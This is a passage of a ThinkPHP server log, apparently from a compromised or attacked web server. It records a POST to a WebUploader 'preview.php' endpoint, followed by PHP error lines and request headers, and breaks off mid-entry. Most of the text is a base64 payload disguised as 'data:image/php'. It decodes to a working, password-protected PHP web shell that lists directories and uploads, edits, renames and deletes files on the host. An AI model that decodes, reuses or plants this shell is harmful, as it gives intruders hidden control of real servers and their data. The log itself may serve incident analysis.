'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:54+08:00 ] 116.213.36.234 POST 59.110.137.245/hekenews/public/static/hui/lib%20/webuploader/0.1.15/server/server/preview.php [运行时间:0.002901s] [吞吐率:344.73req/s] [内存消耗:196.95kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'hekenews', 2 => 'public', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 